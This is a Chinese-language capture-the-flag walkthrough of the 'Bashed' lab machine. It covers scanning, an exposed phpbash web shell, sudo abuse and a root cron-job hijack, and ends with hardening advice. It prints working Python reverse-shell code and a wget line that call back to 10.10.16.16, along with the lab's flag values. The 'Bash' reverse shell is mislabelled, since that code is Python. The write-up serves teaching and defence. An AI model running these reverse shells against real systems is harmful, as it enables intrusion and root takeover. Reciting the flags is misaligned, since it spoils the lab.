[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升
字数 1112 2025-08-22 12:23:42

Bashed PHP Bash+Python计划任务权限提升技术分析

1. 信息收集阶段

1.1 端口扫描

使用masscan和nmap进行快速扫描:

$ sudo masscan -p1-65535,U:1-65535 10.10.10.68 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
$ nmap -Pn -sV -sC -p$ports 10.10.10.68

扫描结果显示:

  • 80/tcp: Apache httpd 2.4.18 (Ubuntu)

1.2 Web目录枚举

使用dirsearch工具发现敏感目录:

$ dirsearch -u http://10.10.10.68

发现重要路径:

  • http://10.10.10.68/dev/
  • http://10.10.10.68/dev/phpbash.php

2. 初始访问

2.1 利用phpbash.php获取Web Shell

访问phpbash.php可直接获得一个交互式Web Shell,这是一个非常危险的漏洞,允许攻击者直接执行系统命令。

3. 权限提升:www-data → scriptmanager

3.1 检查sudo权限

在获得的shell中执行:

$ sudo -l

检查当前用户(www-data)可以以哪些用户身份执行哪些命令。

3.2 利用sudo权限

发现可以以scriptmanager身份执行reverse.sh脚本:

$ sudo -u scriptmanager ./reverse.sh

通过这种方式提升到scriptmanager用户权限。

4. 权限提升:scriptmanager → root

4.1 监控进程

使用pspy工具监控系统进程:

$ ./pspy32

发现系统中有定期执行的Python脚本任务。

4.2 利用计划任务漏洞

发现/scripts目录下有Python脚本被root定期执行:

  1. 进入/scripts目录:
$ cd /scripts
  1. 创建恶意Python反向shell脚本(1.py):
import os,pty,socket
s=socket.socket()
s.connect(("10.10.16.16",443))
[os.dup2(s.fileno(),f)for f in(0,1,2)]
pty.spawn("bash")
  1. 或者下载预制的反向shell脚本:
$ wget http://10.10.16.16/reverse.py
  1. 等待计划任务执行,获取root权限的shell。

5. 获取flag

  • 用户flag:8f7df2f47989e214ab11a888ee378946
  • root flag:96c6dadfc0c09eb783c4d2e614205ef9

6. 漏洞总结与防御建议

6.1 漏洞点

  1. Web服务器暴露了phpbash.php这样的危险文件
  2. 配置不当的sudo权限
  3. 不安全的计划任务实现(脚本可被非特权用户修改)

6.2 防御措施

  1. 定期检查并清理Web目录中的危险文件
  2. 严格配置sudo权限,遵循最小权限原则
  3. 计划任务脚本应设置为root所有且不可被其他用户修改
  4. 计划任务脚本所在目录应设置适当权限(700)
  5. 使用完整性检查工具监控关键系统文件变更

7. 扩展知识

7.1 反向Shell技术

本案例中使用了两种反向shell技术:

  1. Bash版本:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.16",445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
  1. Python版本:
import os,pty,socket
s=socket.socket()
s.connect(("10.10.16.16",443))
[os.dup2(s.fileno(),f)for f in(0,1,2)]
pty.spawn("bash")

7.2 计划任务监控

使用pspy等工具可以监控系统计划任务而不需要root权限,是权限提升的重要信息收集手段。

Bashed PHP Bash+Python计划任务权限提升技术分析 1. 信息收集阶段 1.1 端口扫描 使用masscan和nmap进行快速扫描: 扫描结果显示: 80/tcp: Apache httpd 2.4.18 (Ubuntu) 1.2 Web目录枚举 使用dirsearch工具发现敏感目录: 发现重要路径: http://10.10.10.68/dev/ http://10.10.10.68/dev/phpbash.php 2. 初始访问 2.1 利用phpbash.php获取Web Shell 访问 phpbash.php 可直接获得一个交互式Web Shell,这是一个非常危险的漏洞,允许攻击者直接执行系统命令。 3. 权限提升:www-data → scriptmanager 3.1 检查sudo权限 在获得的shell中执行: 检查当前用户(www-data)可以以哪些用户身份执行哪些命令。 3.2 利用sudo权限 发现可以以scriptmanager身份执行reverse.sh脚本: 通过这种方式提升到scriptmanager用户权限。 4. 权限提升:scriptmanager → root 4.1 监控进程 使用pspy工具监控系统进程: 发现系统中有定期执行的Python脚本任务。 4.2 利用计划任务漏洞 发现/scripts目录下有Python脚本被root定期执行: 进入/scripts目录: 创建恶意Python反向shell脚本(1.py): 或者下载预制的反向shell脚本: 等待计划任务执行,获取root权限的shell。 5. 获取flag 用户flag: 8f7df2f47989e214ab11a888ee378946 root flag: 96c6dadfc0c09eb783c4d2e614205ef9 6. 漏洞总结与防御建议 6.1 漏洞点 Web服务器暴露了phpbash.php这样的危险文件 配置不当的sudo权限 不安全的计划任务实现(脚本可被非特权用户修改) 6.2 防御措施 定期检查并清理Web目录中的危险文件 严格配置sudo权限,遵循最小权限原则 计划任务脚本应设置为root所有且不可被其他用户修改 计划任务脚本所在目录应设置适当权限(700) 使用完整性检查工具监控关键系统文件变更 7. 扩展知识 7.1 反向Shell技术 本案例中使用了两种反向shell技术: Bash版本: Python版本: 7.2 计划任务监控 使用pspy等工具可以监控系统计划任务而不需要root权限,是权限提升的重要信息收集手段。